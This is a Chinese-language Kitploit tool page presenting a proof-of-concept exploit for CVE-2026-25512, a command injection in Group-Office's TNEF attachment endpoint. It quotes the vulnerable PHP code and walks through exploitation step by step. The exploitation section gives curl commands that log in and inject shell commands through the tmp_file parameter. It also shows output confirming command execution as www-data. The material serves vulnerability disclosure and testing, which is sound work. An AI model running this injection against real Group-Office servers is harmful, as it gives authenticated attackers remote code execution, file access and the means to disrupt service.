Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-25512 — RCE - 通过 TNEF 附件处理器实现的命令注入 | Kitploit
工具/GitHubGitHub/numberoreo1/cve-2026-25512
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubnumberoreo1/cve-2026-25512

CVE-2026-25512

RCE - 通过 TNEF 附件处理器实现的命令注入

查看仓库
6个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-25512:Group-Office 的 TNEF 处理器中存在命令注入导致的远程代码执行

CVE-2026-25512 Critical CVSS 9.4

CWE-78

CVSS 4.0 向量 : CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

目录

  • 概述
  • 受影响版本
  • 技术细节
    • 根本原因
    • 从源头到汇聚点的流程
  • 利用
    • 自动利用
    • 手动利用
  • 影响
  • 时间线
  • 致谢
  • 参考

概述

在 Group-Office 中发现了一个**严重远程代码执行(RCE)**漏洞。端点 email/message/tnefAttachmentFromTempFile 将用户控制的参数 tmp_file 直接拼接进 exec() 调用。通过在 tmp_file 中注入 shell 元字符,经过身份验证的攻击者可以在服务器上执行任意系统命令。


受影响版本

产品受影响版本
Group-Office≤ 26.0.4

技术细节

根本原因

tmp_file 参数取自 HTTP 请求,并未经过转义或验证就被用于构建 shell 命令。这导致在 tnef 提取命令中发生命令注入,而该命令以 Web 服务器的权限运行。

漏洞代码(www/modules/email/controller/MessageController.php):

root@kitploit:~
protected function actionTnefAttachmentFromTempFile(array $params)
{
    $tmpFolder = \GO\Base\Fs\Folder::tempFolder(uniqid(time()));
    $tmpFile = new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']);

    chdir($tmpFolder->path());
    exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), $output, $retVar);
    if($retVar!=0)
        throw new \Exception("TNEF extraction failed: ".implode("\n", $output));

    exec(GO::config()->cmd_zip.' -r "winmail.zip" *', $output, $retVar);
    if($retVar!=0)
        throw new \Exception("ZIP compression failed: ".implode("\n", $output));

    $zipFile = $tmpFolder->child('winmail.zip');
    \GO\Base\Util\Http::outputDownloadHeaders($zipFile,false,true);
    $zipFile->output();

    $tmpFolder->delete();
}

从源头到汇聚点的流程

阶段描述
源头index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=... 中的 查询参数

由于 tmp_file 被拼接进 shell 命令,诸如 ;、&、反引号或 $() 之类的元字符允许攻击者附加任意命令。

身份验证要求: 是。MessageController 强制执行 security_token CSRF 检查,因此需要有效的会话和令牌。


利用

自动利用

PoC 脚本会登录、获取 security_token、通过 tmp_file 注入 payload,并通过读取 ZIP 响应中的 rce.txt 来验证执行结果。

root@kitploit:~
python3 poc.py

示例输出:

root@kitploit:~
➜  ~ python3 poc.py
[*] Target: http://xx.xx.xxx.xxx:9090
[*] Login status: 200
[*] Login ok, security_token received
[*] Exploit URL: http://xx.xx.xxx.xxx:9090/index.php?r=email/message/tnefAttachmentFromTempFile
[*] tmp_file payload: dummy.dat;id > /tmp/id;id > rce.txt;echo RCE_POC_451a735c >> rce.txt;#
[*] Response status: 200
[+] RCE Confirmed
[+] Command output (id):
uid=33(www-data) gid=33(www-data) groups=33(www-data)

手动利用

步骤 1:登录

root@kitploit:~
curl -c cookies.txt -b cookies.txt "http://TARGET:PORT/index.php" \
    --data-urlencode "r=core/auth/login" \
    --data-urlencode "username=YOUR_USERNAME" \
    --data-urlencode "password=YOUR_PASSWORD" \
    -H "X-Requested-With: XMLHttpRequest"

响应:

root@kitploit:~
{
  "success": true,
  "groupoffice_version": "26.0.4",
  "user_id": 2,
  "security_token": "XXXXXXX",
  "sid": "XXXXXXXXXXX"
}

步骤 2:触发 RCE

root@kitploit:~
curl -G "http://TARGET:PORT/index.php" \
    -b cookies.txt \
    --data-urlencode "r=email/message/tnefAttachmentFromTempFile" \
    --data-urlencode "security_token=YOUR_TOKEN" \
    --data-urlencode "tmp_file=dummy.dat;id > rce.txt || true;#" \
    -o command_output.zip

结果:

root@kitploit:~
➜  unzip command_output.zip
Archive:  command_output.zip
  inflating: rce.txt

➜  cat rce.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)

影响

类别严重级别描述
机密性高任意命令执行允许读取敏感文件。
完整性高攻击者可以修改或删除服务器文件。

致谢

  • 发现者: Oreo

参考

  • Group-Office 官方网站
  • MITRE CVE-2026-25512
下载工具
tmp_file
传播new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file'])
汇聚点exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), ...)
可用性高攻击者可以中断服务或删除关键数据。